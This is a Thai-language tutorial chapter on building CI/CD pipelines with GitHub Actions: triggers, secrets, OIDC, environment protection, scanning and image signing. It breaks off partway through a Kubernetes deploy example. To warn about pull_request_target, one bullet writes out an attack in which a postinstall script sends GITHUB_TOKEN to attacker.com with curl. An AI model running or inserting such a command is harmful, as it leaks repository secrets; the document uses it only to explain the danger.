Skip to content

บทที่ 5 — CI/CD

← ก่อนหน้า: Kubernetes Book | สารบัญ | บทที่ 6 →

📖 ตามลำดับแนะนำใน README บทนี้ต่อจาก Kubernetes Book (บท 04 ในโฟลเดอร์นี้เป็นแค่ quick reference — ของจริงอยู่ K8s Book)

TL;DR: บทนี้ตอบ "เขียน CI/CD pipeline ที่ใช้จริงได้ยังไง" — GitHub Actions ตั้งแต่ workflow แรกจนถึง production. ครอบคลุมเรื่องสำคัญ:

  • การ build หลายเวอร์ชันพร้อมกัน (matrix build)
  • การเขียน workflow กลางที่ใช้ซ้ำได้ (reusable workflow)
  • การ auth กับ cloud โดยไม่ใช้ key static (OIDC)
  • การ deploy ผ่าน Git แบบ GitOps
  • กลยุทธ์การปล่อย version ใหม่ (deployment strategies — rolling/blue-green/canary)

ข้ามได้ถ้า: ตั้ง GitHub Actions + OIDC + deploy strategy ในงานประจำได้คล่องแล้ว

หลังจบบท คุณจะ:

  • เข้าใจ CI/CD pipeline — ไม่ใช่แค่ "ใช้ GitHub Actions"
  • เขียน GitHub Actions workflow ตั้งแต่เริ่มจนถึง production
  • ใช้ deployment strategies (blue/green, canary, rolling) เป็น
  • ทำ testing in pipeline (unit, integration, e2e)
  • จัดการ secrets + environments แบบปลอดภัย (OIDC, environment protection)

⚠️ เรื่อง version ของ runtime ในตัวอย่าง — ตัวอย่างในบทนี้ใช้ Java 21 และ Go 1.22 เป็น baseline (LTS ที่ stable ตอนเขียนช่วงปี 2024-2025). ตอนจะใช้จริงเสมอ: เช็คเวอร์ชัน LTS ล่าสุดที่ go.dev/dl และ adoptium.net ก่อน — pin minor version ใน go.mod/pom.xml ของคุณ ห้ามใช้ latest ในไฟล์ workflow เพราะจะทำให้ build เปลี่ยนพฤติกรรมโดยไม่ตั้งใจ

💡 ถ้าคุณใช้ Python/Node.js/Ruby/.NET — แนวคิดทั้งหมดในบทนี้เหมือนกัน เปลี่ยนแค่ actions/setup-java@v4 เป็น actions/setup-python@v5 / actions/setup-node@v4 / actions/setup-dotnet@v4 และคำสั่ง build/test ตามภาษานั้น ๆ

🗺️ บทนี้ยาว 1300+ บรรทัด — TOC สำหรับกระโดดอ่าน:

🟢 เส้นทางเริ่มต้น (basic — เริ่มที่นี่):

  1. Prerequisites + Mental Model — pipeline คืออะไร
  2. CI vs CD (Delivery) vs CD (Deployment) — 3 ตัวย่อสับสน
  3. GitHub Actions Basics — workflow แรก
  4. Triggers — เมื่อไหร่ workflow ถึงรัน (สำคัญมาก อ่านเลย)
  5. Job Configuration — ตั้งค่า job เบื้องต้น
  6. Common Steps — checkout, setup, run
  7. Job Dependencies — needs:
  8. Secrets — เก็บค่าลับ
  9. Full Example — Spring Boot CI — รวมทุกอย่าง

🟡 ถัดมา (เมื่อพร้อม): 10. Deploy Workflow · Deployment Strategies · Test in Pipeline · Security Checks

🔴 ขั้นสูง (กลับมาเมื่อทำ production จริง): 11. Reusable Workflow · Composite Actions · Matrix Build · Monorepo · Self-hosted Runner 12. Modern Practices — GitOps (zone "ข้ามได้" ในตัวเอง)

⚠️ ข้อยกเว้น — OIDC ไม่ใช่ "ขั้นสูง" อีกแล้วในปี 2026: ถ้า deploy ขึ้น AWS/GCP/Azure ใช้ OIDC เป็น default — ฝัง static access key (key ถาวรของ cloud) ใน GitHub Secrets ถือเป็นสัญญาณอันตราย: ถ้า key รั่ว = บัญชี cloud ถูกครอบครองจนกว่าจะเปลี่ยน key (rotate). อ่าน OIDC section (25. Modern Practices) คู่กับ Secrets ตั้งแต่รอบแรก

📝 OIDC คืออะไรสั้น ๆ — วิธี auth กับ cloud โดยไม่ต้องเก็บ key ถาวร แต่ใช้ token อายุสั้น ๆ ที่ออกใหม่ทุกรอบ workflow (รายละเอียดเต็มอยู่ในข้อ 25)


0. Prerequisites + Mental Model

คุณควรรู้:

  • ✅ Git push/PR (บทที่ 2)
  • ✅ Docker (บทที่ 3) — เพราะ pipeline ส่วนใหญ่ build image
  • ❌ ไม่ต้องเคยใช้ CI/CD มาก่อน

Mental Model — Pipeline คืออะไร

Pipeline = "สายพานการผลิต (production line) ของโรงงาน" — code commit → ผ่านขั้นตอนต่อเนื่อง → จบที่ deployed app

กฎ 3 ข้อของ pipeline ที่ดี:

  1. รู้ผลเร็ว (fast feedback) — รัน test ที่เร็วก่อน (lint, unit) แล้วค่อยรันที่ช้า (E2E) จะได้รู้ปัญหาภายในไม่กี่นาที
  2. พังก็หยุดเลย (หยุดเมื่อล้มเหลว) — stage ไหนพัง หยุดทั้ง pipeline ทันที ห้ามไหลต่อไป deploy code ที่มีบั๊ก
  3. รันซ้ำได้ผลเดิม (reproducible) — รัน 100 ครั้งต้องได้ผลเหมือนกัน ห้ามมีขั้นตอนที่ต้องคนเข้าไปทำเอง

1. CI vs CD (Delivery) vs CD (Deployment)

สามตัวย่อนี้สับสนกันบ่อยที่สุดในวงการ — CI (Continuous Integration) คือ auto build+test ทุก commit, CD ตัวแรก (Continuous Delivery) คือเตรียมพร้อม deploy แต่รอคนกดอนุมัติ, CD ตัวที่สอง (Continuous Deployment) คือ deploy อัตโนมัติเลยถ้า test ผ่าน:

text
CI  = Continuous Integration   = build + test อัตโนมัติทุก commit
CD  = Continuous Delivery       = พร้อม deploy แต่รอคนกดอนุมัติ
CD  = Continuous Deployment     = deploy อัตโนมัติเลยถ้า test ผ่าน

ส่วนใหญ่ → CI auto, CD = staging auto + prod manual approve


2. Why CI/CD

การ deploy ด้วยมือนาน ๆ ครั้งทำให้ทุกครั้งเสี่ยงสูงและกู้คืนช้า ส่วน CI/CD ที่ปล่อยบ่อย ๆ ทีละน้อยกลับปลอดภัยกว่าและ feedback เร็วกว่ามาก:

text
Deploy ด้วยมือ (manual):
- เดือนละครั้ง
- ใช้เวลา 4 ชั่วโมงต่อครั้ง
- บั๊กหลุดถึง prod: 30%
- เวลา rollback ตอนพัง: 2 ชั่วโมง

CI/CD:
- วันละหลายรอบ
- ใช้เวลา < 30 นาทีต่อครั้ง
- บั๊กหลุดถึง prod: 5%
- เวลา rollback ตอนพัง: 2 นาที

รู้ผลเร็ว = คุณภาพดี (เจอบั๊กเร็ว, แก้เร็ว, ส่งถึงผู้ใช้น้อยลง)


3. CI/CD Tools

เครื่องมือ CI/CD แต่ละตัวเด่นคนละแบบ — บางตัวผูกกับ platform (GitHub Actions, GitLab CI), บางตัว self-hosted ยืดหยุ่นแต่ซับซ้อน (Jenkins), บางตัวออกแบบมาเพื่อ Kubernetes โดยเฉพาะ (Argo CD, Tekton):

Toolจุดเด่น
GitHub Actionsผูกแน่นกับ GitHub, ใช้ฟรีสำหรับ repo สาธารณะ
GitLab CIครบทั้ง DevOps ในที่เดียว (CI/CD + registry + monitoring)
Jenkinsself-hosted, มีมานานสุด, ปรับได้ทุกอย่างแต่ซับซ้อน
CircleCIcloud SaaS, build เร็ว แต่ส่วนแบ่งตลาดลดลงเรื่อย ๆ
Argo CD / Argo Workflowsออกแบบมาเพื่อ Kubernetes โดยเฉพาะ + GitOps
Flux CDคล้าย Argo CD — GitOps สำหรับ K8s, น้ำหนักเบากว่า
Tektonpipeline บน Kubernetes (CRD-based)
Daggerเขียน pipeline เป็นโค้ด (Go/Python/TypeScript) รันที่ไหนก็ได้
AWS CodePipelineผูกกับ AWS ecosystem
Azure DevOpsenterprise + ฝั่ง Microsoft

หนังสือนี้ → focus GitHub Actions


4. GitHub Actions Basics

GitHub Actions ทำงานจากไฟล์ YAML ใน .github/workflows/ — คุณบอกว่า "เมื่อเกิด event อะไร (on) ให้รัน job อะไรบ้าง (jobs)" ตัวอย่างแรกเป็น workflow CI พื้นฐานที่ build + test ทุกครั้งที่ push หรือเปิด PR เข้า main:

💡 ตัวอย่างในบทนี้ใช้ @v4 / @v3 เพื่ออ่านง่าย — ก่อนนำไปใช้งานจริง ให้ pin action เป็น SHA แทน (เช่น actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11) ตาม best practice ในข้อ 23. Best Practices เพื่อป้องกัน supply-chain attack

yaml
# .github/workflows/ci.yml
name: CI

on:                          # เกิด event นี้เมื่อไหร่ → รัน workflow
  push:
    branches: [main]
  pull_request:
    branches: [main]

permissions:
  contents: read              # ⭐ ให้ GITHUB_TOKEN สิทธิ์อ่านอย่างเดียว — น้อยสุดเท่าที่ workflow นี้ต้องใช้ (ดูเหตุผลเต็มในข้อ 23 Best Practices)

jobs:
  build:
    runs-on: ubuntu-latest   # รันบน VM Ubuntu ที่ GitHub เตรียมให้
    steps:
      - uses: actions/checkout@v4   # ดึง source code จาก repo

      - name: Setup JDK             # ติดตั้ง Java
        uses: actions/setup-java@v4
        with:
          java-version: '21'
          distribution: 'temurin'
          cache: maven
      
      - name: Build with Maven      # build โปรเจกต์ (./mvnw = Maven Wrapper — script ที่อยู่ใน repo เอง ไม่ต้องลง Maven บนเครื่อง)
        run: ./mvnw -B package --file pom.xml
      
      - name: Run tests             # รัน test
        run: ./mvnw test

💡 ./mvnw คืออะไร — Maven Wrapper script ที่ generate มากับ Spring Initializr/Maven (mvn wrapper:wrapper) แล้ว commit เข้า repo. มันจะ download Maven เวอร์ชันที่ project ต้องการให้เอง — CI/CD จึงไม่ต้องลง Maven ก่อน และทุกคนใน team ใช้เวอร์ชันเดียวกัน (Node.js มี npx, Gradle มี ./gradlew แนวคิดเดียวกัน)

Commit ขึ้น GitHub → แท็บ Actions → ดูผลการรัน

Components

คืออะไร
Workflowไฟล์ YAML ใน .github/workflows/ (1 ไฟล์ = 1 workflow)
Jobชุด step ที่รันต่อเนื่องใน VM เดียวกัน
Stepคำสั่งเดี่ยว หรือเรียกใช้ action ตัวเดียว
RunnerVM ที่ใช้รัน job (GitHub เตรียมให้ หรือเครื่องของเราเอง)
Actionหน่วยที่นำมาใช้ซ้ำได้ (เช่น actions/checkout, actions/setup-node)

5. Triggers

คีย์ on บอกว่า workflow รันเมื่อไหร่ — ไม่ใช่แค่ตอน push แต่ยังรันได้ตอนเปิด PR, ตามเวลา (cron), กดเองด้วยมือ (workflow_dispatch), ตอน release หรือถูก trigger จากภายนอก:

yaml
on:
  # ตอน push
  push:
    branches: [main, develop]
    paths:
      - 'src/**'
      - '!docs/**'         # ยกเว้น path นี้ ไม่ trigger
    tags: ['v*']
  
  # ตอนเปิด / อัปเดต PR
  pull_request:
    types: [opened, synchronize, reopened]
  
  # ตามตารางเวลา (cron)
  schedule:
    - cron: '0 3 * * *'    # ทุกวัน 03:00 UTC (= 10:00 ไทย)
  
  # กดเองด้วยมือ (manual trigger)
  workflow_dispatch:
    inputs:
      environment:
        type: choice
        options: [staging, production]
  
  # ตอน release ใหม่
  release:
    types: [published]
  
  # ถูก trigger จากภายนอก (เช่น webhook จากระบบอื่น)
  repository_dispatch:
    types: [deploy]

# กัน workflow รันซ้ำบน branch เดียวกัน — ยกเลิก run เก่าทันทีที่ push ทับ
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true

⚠️ pull_request vs pull_request_target — ระวังให้ดี

  • pull_request (ที่เราใช้ข้างบน) = ปลอดภัย — รันด้วย context ของ fork, ไม่เห็น secret ของ repo หลัก
  • pull_request_target = รันด้วย context ของ repo หลัก เห็น secret ได้ แต่ checkout code ของ PR — ถ้าเผลอ checkout PR code แล้วรันคำสั่งใด ๆ ของมัน = ส่ง secret ทั้ง repo ออกได้ (เช่น hacker เปิด PR ใส่ malicious script)
  • ตัวอย่างการโจมตี: workflow checkout PR code แล้วรัน npm install → attacker วาง script ใน package.json ที่ postinstall ส่ง secret ออกไปด้วย curl https://attacker.com/?s=$GITHUB_TOKEN — สำเร็จโดยไม่ต้องมีสิทธิ์อะไรเลยนอกจากเปิด PR
  • ถ้าจำเป็นต้องใช้ pull_request_target (เช่น auto-label PR) — ห้าม checkout PR head ให้ checkout เฉพาะ base branch เท่านั้น และห้ามรันโค้ดของ PR

💡 concurrency ช่วยอะไร — ถ้า dev push commit รัว ๆ workflow run เก่าจะถูกยกเลิกอัตโนมัติ ประหยัด CI minutes และกัน deploy ซ้อนกันบน prod


6. Job Configuration

ภายในแต่ละ job มีออปชันให้ปรับ — เลือก OS (runs-on), ตั้ง timeout, รันหลายเวอร์ชันพร้อมกันด้วย strategy.matrix (เช่น test ทั้ง Node 18 และ 20), และกำหนด env รวมถึง service container (เช่น DB) ที่ job ต้องใช้:

yaml
jobs:
  test:
    runs-on: ubuntu-latest          # เลือก OS: ubuntu / windows / macos
    timeout-minutes: 30             # job จะถูกยกเลิกถ้าเกิน 30 นาที (กัน job ค้าง)
    
    strategy:
      matrix:
        node: [18, 20]              # test ทั้ง Node 18 และ 20
        os: [ubuntu-latest, macos-latest]
      fail-fast: false               # คอมโบไหนพังก็ให้คอมโบอื่นรันต่อ (อย่าหยุดทันที — จะได้เห็นว่าพังตรงไหนบ้าง)
    
    env:
      DATABASE_URL: postgres://localhost:5432/test
    
    # services = container ที่ GitHub spin ขึ้นมาให้พร้อม job (เหมือนรัน docker run เบื้องหลัง)
    services:
      postgres:
        image: postgres:16
        env:
          POSTGRES_USER: postgres
          POSTGRES_PASSWORD: postgres   # password ของ container ชั่วคราว ไม่ใช่ prod
          POSTGRES_DB: test
        ports:
          - 5432:5432
        # options = ส่งค่าให้ docker run โดยตรง
        # health-cmd = คำสั่งที่ docker ใช้เช็คว่า container พร้อมรับ connection แล้วหรือยัง
        # (pg_isready = utility ของ postgres ที่ตอบ exit 0 ถ้า server พร้อม)
        options: >-
          --health-cmd "pg_isready"
          --health-interval 10s
          --health-timeout 5s
          --health-retries 5
    
    steps:
      - uses: actions/checkout@v4
      - run: echo "Running on ${{ matrix.os }} with Node ${{ matrix.node }}"

💡 fail-fast: true vs false — สำหรับ PR ที่อยากรู้ผลเร็ว true ก็ได้ (ประหยัด CI), แต่สำหรับ matrix test ใช้ false ดีกว่า เพราะถ้า Node 18 พังก่อน คุณอยากรู้ด้วยว่า Node 20 พังเหมือนกันไหม จะได้แก้รอบเดียว


7. Common Steps

yaml
steps:
  # ดึง source code จาก repo
  - uses: actions/checkout@v4
  
  # ติดตั้งภาษา / runtime
  - uses: actions/setup-node@v4
    with:
      node-version: '20'
      cache: npm
  
  - uses: actions/setup-java@v4
    with:
      java-version: '21'
      distribution: 'temurin'
      cache: maven
  
  - uses: actions/setup-python@v5
    with:
      python-version: '3.12'
  
  # cache dependency เอง (กรณี setup-* ไม่ครอบคลุม)
  - uses: actions/cache@v4
    with:
      path: ~/.m2/repository
      key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
      restore-keys: |
        ${{ runner.os }}-m2-      # ถ้า key ตรงไม่เจอ ให้ลอง prefix นี้ (cache hit ratio สูงขึ้น)
  
  # รันคำสั่ง shell
  - name: Install dependencies
    run: npm ci
  
  - name: Run tests
    run: npm test
  
  # หลายบรรทัด
  - name: Build
    run: |
      npm install
      npm run build
      ls dist/
  
  # มีเงื่อนไข — รันเฉพาะเมื่อ branch เป็น main
  - name: Deploy
    if: github.ref == 'refs/heads/main'
    run: ./deploy.sh
  
  # อัปไฟล์ผลลัพธ์ขึ้น GitHub (artifact v4 — เร็วกว่า v3 ~10 เท่า, default ตั้งแต่ปลายปี 2024)
  - uses: actions/upload-artifact@v4
    with:
      name: build-output
      path: dist/
      retention-days: 7        # default 90 วัน
      compression-level: 6     # 0-9, 6 = สมดุลระหว่างขนาดกับเวลา
  
  # ดาวน์โหลด artifact จาก job อื่นในรอบเดียวกัน
  - uses: actions/download-artifact@v4
    with:
      name: build-output

⚠️ เลือกอย่างใดอย่างหนึ่ง — อย่าใส่ทั้งสอง setup-java/setup-node/setup-python มี cache: ในตัวอยู่แล้ว (จัดการ key ให้เอง). ใช้ actions/cache@v4 ตรง ๆ ต่อเมื่อต้อง cache path ที่ setup-* ไม่ครอบคลุม (เช่น cache binary ที่ build เอง)

⚠️ Breaking change v3 → v4: ใน v4 artifact name ต้อง unique per workflow run (แต่ละ matrix job ต้องตั้งชื่อต่างกัน เช่น build-${{ matrix.os }}). v3 รวม artifact ชื่อเดียวกันได้ — v4 จะ fail


8. Job Dependencies

Job ต่าง ๆ รันขนานกันโดยปริยาย คีย์ needs ใช้กำหนด dependency — เช่น build ต้องรอ lint และ test ผ่านก่อน, deploy ต้องรอ build และ if คุมว่าจะ deploy เฉพาะบน main:

yaml
jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - run: npm run lint
  
  test:
    runs-on: ubuntu-latest
    steps:
      - run: npm test
  
  build:
    runs-on: ubuntu-latest
    needs: [lint, test]            # wait for both
    steps:
      - run: npm run build
  
  deploy:
    runs-on: ubuntu-latest
    needs: build
    if: github.ref == 'refs/heads/main'
    steps:
      - run: ./deploy.sh

9. Secrets

ห้าม hardcode ค่าลับ (API key, password, token) ลงในไฟล์ workflow เด็ดขาดเพราะมันอยู่ใน repo — ใช้ GitHub Secrets ซึ่ง encrypt และฉีดเข้ามาเป็น env ตอนรันเท่านั้น ค่าที่ไม่ลับใช้ "Variables" และกำหนดแยกตาม environment (staging/production) เพื่อจำกัดขอบเขตความเสียหายได้:

⚠️ 2026 baseline — สำหรับ cloud (AWS/GCP/Azure): ใช้ OIDC (ดู Modern Practices) เป็น default แทน static cloud key. GitHub Secrets ยังเหมาะสำหรับ third-party token (Slack webhook, Snyk token, Docker Hub PAT) — แต่ static AWS_ACCESS_KEY_ID ในตัวอย่างด้านล่างควรเป็น fallback เท่านั้นถ้าระบบ legacy ไม่รองรับ OIDC

💡 blast radius = ขอบเขตความเสียหายถ้าของหลุดหรือพัง (ยิ่งจำกัดได้ ความเสียหายยิ่งวงเล็ก)

ใส่ใน GitHub: Settings → Secrets and variables → Actions

yaml
# ⚠️ ตัวอย่างนี้ใช้ static key — แนะนำให้ใช้ OIDC แทน (ดูข้อ 25)
# ก่อนรันได้: ต้องตั้ง secret AWS_ACCESS_KEY_ID + AWS_SECRET_ACCESS_KEY ใน
# Repo Settings → Secrets and variables → Actions และ IAM user ต้องมีสิทธิ์ s3:PutObject
steps:
  - name: Deploy
    env:
      AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
      AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
    run: |
      aws s3 sync dist/ s3://my-bucket/

Variables (non-secret)

yaml
env:
  AWS_REGION: ${{ vars.AWS_REGION }}

Environment-specific

text
Repository → Settings → Environments → "production"
  - Secret: AWS_KEY
  - Variable: AWS_REGION
  - Protection: required reviewers
yaml
deploy:
  environment: production           # uses prod secrets/vars
  steps:
    - run: deploy

→ จำกัดขอบเขตความเสียหาย — secret ของ prod อยู่แค่ใน environment "production" job อื่นจะดึงไม่ได้

Environment Protection Rules — production-grade settings

ใน Settings → Environments → production มี protection rules หลายตัวที่ทีม enterprise ใช้กันจริง — ตั้งครบจะกันความผิดพลาดและ insider attack (คนในแอบ deploy) ได้:

Ruleคุมอะไรแนะนำสำหรับ production
Required reviewers (ต้องผ่านการอนุมัติ)ต้องมีคนกด approve ก่อน job รัน1-2 คน, ห้ามรวมผู้เปิด PR (เปิด Prevent self-review)
Wait timer (หน่วงเวลา)หน่วงเวลาก่อน job เริ่มรัน5-15 นาที — เผื่อคน revert PR ทันถ้าเผลอ merge
Deployment branches (จำกัด branch)branch ไหนถึงจะ deploy environment นี้ได้เฉพาะ main หรือใช้ pattern release/*
Custom deployment protection rule (2024+) (เงื่อนไขเสริม)เรียก webhook ภายนอกถามเงื่อนไขก่อน deployเชื่อม Datadog (ห้าม deploy ถ้า error rate สูง), JIRA (ต้องมี ticket อ้างอิง) — เป็น enterprise tool ที่ต้อง subscribe
Required status check (ต้องผ่าน CI)branch ต้องผ่าน check ที่กำหนด (lint/test) ก่อนบังคับให้ไฟ CI ต้องเขียวทั้งหมด

ตัวอย่าง config:

yaml
deploy-prod:
  environment:
    name: production
    url: https://app.example.com
  # rules ทั้งหมดตั้งใน GitHub UI ไม่ใช่ workflow
  steps:
    - run: ./deploy.sh
text
GitHub UI → Environments → production:
  ✅ ต้องผ่าน approval จาก: [@platform-team, @sre-oncall]
  ✅ ห้าม approve PR ของตัวเอง (Prevent self-review): เปิด ← สำคัญ
  ✅ หน่วงเวลาก่อน deploy: 10 นาที
  ✅ branch ที่ deploy ได้: main, release/*
  ✅ เงื่อนไขเสริม: Datadog deployment gate (ห้าม deploy ถ้า error rate สูง)

💡 ข้อแนะนำสำคัญ 2026 สำหรับ production environment:

  • 2 reviewers (ใน org ที่ใหญ่พอ) + prevent self-review
  • Wait timer ≥ 5 นาที (เผื่อ revert PR ก่อน deploy)
  • Deployment branch = exact pattern ไม่ใช่ wildcard *
  • Audit log ต้อง enable (GitHub Enterprise) — ดูว่าใคร approve เมื่อไหร่

10. Full Example — Spring Boot CI

ตัวอย่างนี้รวมทุก concept เป็น workflow CI สมบูรณ์สำหรับ Spring Boot — ใช้ services รัน PostgreSQL ให้ integration test, cache dependency ของ Maven และ upload รายงานผลทดสอบ:

yaml
# .github/workflows/ci.yml
name: CI

on:
  push:
    branches: [main]
  pull_request:

jobs:
  test:
    runs-on: ubuntu-latest
    
    services:
      postgres:
        image: postgres:16
        env:
          POSTGRES_USER: postgres
          POSTGRES_PASSWORD: test          # password ของ container ชั่วคราว ไม่ใช่ค่าจริง
          POSTGRES_DB: test
        ports: ['5432:5432']
        options: >-
          --health-cmd "pg_isready"
          --health-interval 10s
          --health-timeout 5s
          --health-retries 5
    
    steps:
      - uses: actions/checkout@v4
      
      - uses: actions/setup-java@v4
        with:
          java-version: '21'
          distribution: 'temurin'
          cache: maven
      
      - name: Run unit tests
        run: ./mvnw test
      
      # ⚠️ profile "integration-test" ต้องนิยามเองใน pom.xml (bind maven-failsafe-plugin เข้า phase integration-test/verify) — ไม่มีให้อัตโนมัติจาก Spring Initializr
      - name: Run integration tests
        env:
          DATABASE_URL: jdbc:postgresql://localhost:5432/test
          DATABASE_USERNAME: postgres
          DATABASE_PASSWORD: test
        run: ./mvnw verify -Pintegration-test
      
      # ⚠️ ไฟล์นี้เกิดจาก jacoco-maven-plugin เท่านั้น — ต้องตั้งค่าใน pom.xml (bind goal `report` เข้า phase test/verify) ไฟล์ถึงจะมีให้ Codecov อ่าน
      - name: Upload coverage to Codecov
        uses: codecov/codecov-action@v4    # ⚠️ ใช้จริง: pin SHA แทน @v4 (ดูข้อ 23)
        with:
          token: ${{ secrets.CODECOV_TOKEN }}
          files: target/site/jacoco/jacoco.xml
      
      - name: Test report
        uses: dorny/test-reporter@v1       # ⚠️ ใช้จริง: pin SHA แทน @v1 (ดูข้อ 23)
        if: always()
        with:
          name: Tests
          path: target/surefire-reports/*.xml
          reporter: java-junit

  lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-java@v4
        with:
          java-version: '21'
          distribution: 'temurin'
      - run: ./mvnw checkstyle:check
      - run: ./mvnw spotbugs:check

  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      # Trivy = scanner หาช่องโหว่ใน image / code / config
      # pin SHA แทน @master (best practice — กัน supply-chain attack)
      - name: Trivy filesystem scan
        uses: aquasecurity/trivy-action@b2933f565dbc598b29947660e66259e3c7bc8561  # v0.36.0
        with:
          scan-type: fs
          scanners: vuln,secret,misconfig    # ⭐ ตั้งแต่ v0.40+ ใช้ scanners (เดิมชื่อ security-checks — deprecated)
          severity: CRITICAL,HIGH
          exit-code: '1'                     # ⭐ ทำให้ job fail ถ้าเจอช่องโหว่ระดับนี้
          ignore-unfixed: true               # ข้าม CVE ที่ยังไม่มี patch (ลด noise)

  build:
    runs-on: ubuntu-latest
    needs: [test, lint, security]
    if: github.event_name == 'push' && github.ref == 'refs/heads/main'
    
    permissions:
      contents: read
      packages: write
      id-token: write                # สำหรับ OIDC (ใช้กับ Cosign signing ด้านล่าง)
      attestations: write             # สำหรับ build provenance
    
    steps:
      - uses: actions/checkout@v4
      
      - name: Log in to GHCR
        uses: docker/login-action@v3      # ⚠️ ใช้จริง: pin SHA แทน @v3 (ดูข้อ 23)
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}
      
      - name: Build + push (พร้อม provenance + SBOM)
        id: build
        uses: docker/build-push-action@v6  # ⚠️ ใช้จริง: pin SHA แทน @v6 (ดูข้อ 23)
        with:
          context: .
          push: true
          # ⭐ ใช้ SHA tag — immutable, ไม่ใช้ :latest บน prod (rollback ยาก, cache ของ K8s สับสน)
          tags: |
            ghcr.io/${{ github.repository }}:${{ github.sha }}
            ghcr.io/${{ github.repository }}:${{ github.ref_name }}-${{ github.sha }}
          cache-from: type=gha
          cache-to: type=gha,mode=max
          provenance: true       # SLSA provenance (พิสูจน์ที่มาของ image)
          sbom: true             # ใส่ SBOM (Software Bill of Materials) ติด image

      # สแกน image ที่ build แล้วก่อนปล่อย — gate ตรงนี้
      - name: Trivy image scan
        uses: aquasecurity/trivy-action@b2933f565dbc598b29947660e66259e3c7bc8561  # v0.36.0
        with:
          image-ref: 'ghcr.io/${{ github.repository }}:${{ github.sha }}'
          severity: CRITICAL,HIGH
          exit-code: '1'
          ignore-unfixed: true

💡 ทำไมไม่ใช้ :latest — tag :latest แก้ตัวเอง: deploy รอบใหม่ทับรอบเก่าทันที rollback ไปเวอร์ชันก่อนทำไม่ได้ (image hash เปลี่ยน) และ K8s cache ของ node อาจไม่ pull ใหม่. ใช้ SHA tag (${{ github.sha }}) แทน → 1 commit = 1 image immutable ตลอดไป

🔒 SLSA + SBOM คืออะไรสั้น ๆ

  • SLSA (Supply-chain Levels for Software Artifacts) = framework ของ Google/OpenSSF ระบุระดับความน่าเชื่อของ artifact (Level 1-4) — provenance: true ใส่ SLSA Level 2 metadata ติด image
  • SBOM (Software Bill of Materials) = "รายการส่วนผสม" ของ image (ใช้ lib อะไรเวอร์ชันไหนบ้าง) — ใช้ trace CVE ย้อนกลับได้ทันทีเมื่อมีช่องโหว่ใหม่ออก
  • Tool ที่ใช้บ่อย: Syft (สร้าง SBOM), Cosign / Sigstore (เซ็นชื่อ image), in-toto (attestation framework)

🔏 อยากเซ็น image ด้วย Cosign (keyless signing — เซ็นชื่อโดยไม่ต้องมี private key) — แทนที่จะต้องสร้างและเก็บ private key ใน secret, keyless signing ใช้ OIDC token จาก GitHub เป็นหลักฐานตัวตน (ปลอดภัยกว่า เพราะไม่มี key ให้รั่ว). เพิ่ม step นี้ต่อจาก build:

yaml
- uses: sigstore/cosign-installer@v3   # ⚠️ ใช้จริง: pin SHA แทน @v3 (ดูข้อ 23)
- name: Sign image
  run: cosign sign --yes ghcr.io/${{ github.repository }}@${{ steps.build.outputs.digest }}

cosign จะใช้ OIDC token ของ GitHub สร้างลายเซ็นโดยไม่ต้องมี private key — verify ปลายทางได้ด้วย cosign verify


11. Deploy Workflow

⚠️ ค่าใช้จ่าย — อ่านก่อนทดลองตัวอย่างนี้: workflow นี้ใช้ EKS (Kubernetes บน AWS) ซึ่งเปิด cluster เปล่า ๆ ก็เสีย ~$73/เดือน แค่ control plane (ยังไม่นับ worker node). ถ้าจะลองเล่น ใช้ kind / minikube / k3d บนเครื่องเองก่อน (ฟรี) แล้วค่อยย้ายขึ้น EKS เมื่อแน่ใจ

🛑 ก่อนเริ่ม — เลือกแนวทางให้ถูก:

  • Prod บน Kubernetes → ใช้ GitOps (ArgoCD / Flux) เป็น default — ดูข้อ 25. GitOps. CI build image แล้วแก้ image tag ใน config repo (Git) ส่วน CD ให้ controller sync เอง. kubectl set image แบบในตัวอย่างนี้ถือเป็น anti-pattern สำหรับ prod เพราะข้าม Git เป็น source of truth — ใช้เฉพาะกรณีฉุกเฉิน (emergency rollback) หรือ environment dev เท่านั้น
  • Static site / Lambda / Cloud Run → push ผ่าน CI ได้ตรง ๆ ตามตัวอย่างนี้

ตัวอย่าง deploy workflow ที่กดเองด้วยมือ (workflow_dispatch) โดยเลือก environment + version ได้ — ใช้ OIDC auth กับ AWS (ไม่ใช้ static key), อัป image ลง Kubernetes, รอ rollout, smoke test แล้วแจ้ง Slack โดยใช้ environment เพื่อดึง secret ของ env นั้นโดยเฉพาะ:

yaml
# .github/workflows/deploy.yml
# ⚠️ ตัวอย่างนี้สำหรับ emergency / dev เท่านั้น — prod แนะนำ GitOps (ดูข้อ 25)
name: Deploy

on:
  workflow_dispatch:
    inputs:
      environment:
        type: choice
        options: [staging, production]
        required: true
      version:
        type: string
        required: true

permissions:
  id-token: write          # ⭐ จำเป็นสำหรับ OIDC
  contents: read

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: ${{ inputs.environment }}
    
    steps:
      - uses: actions/checkout@v4
      
      - name: ติดตั้ง kubectl
        uses: azure/setup-kubectl@v4
        with:
          version: 'v1.31.0'      # pin version — ห้ามใช้ latest บน prod (ต้องอยู่ใน ±1 minor ของ cluster version)
      
      # ⭐ OIDC — ไม่มี static key แล้ว
      - name: Auth กับ AWS ผ่าน OIDC
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789:role/github-deploy-${{ inputs.environment }}
          aws-region: us-east-1
      
      - name: ตั้งค่า kubeconfig (ต้องมี EKS cluster อยู่ก่อน — เห็นข้อความเตือนเรื่องค่าใช้จ่ายด้านบน)
        run: aws eks update-kubeconfig --name my-cluster --region us-east-1
      
      - name: Deploy (kubectl set image — emergency only, prod แนะนำ GitOps)
        run: |
          kubectl set image deployment/myapp \
              app=ghcr.io/myorg/myapp:${{ inputs.version }} \
              -n ${{ inputs.environment }}
          # รอ rollout ให้เสร็จ (timeout 5 นาที — ถ้าเกินจะ fail)
          kubectl rollout status deployment/myapp -n ${{ inputs.environment }} --timeout=5m
      
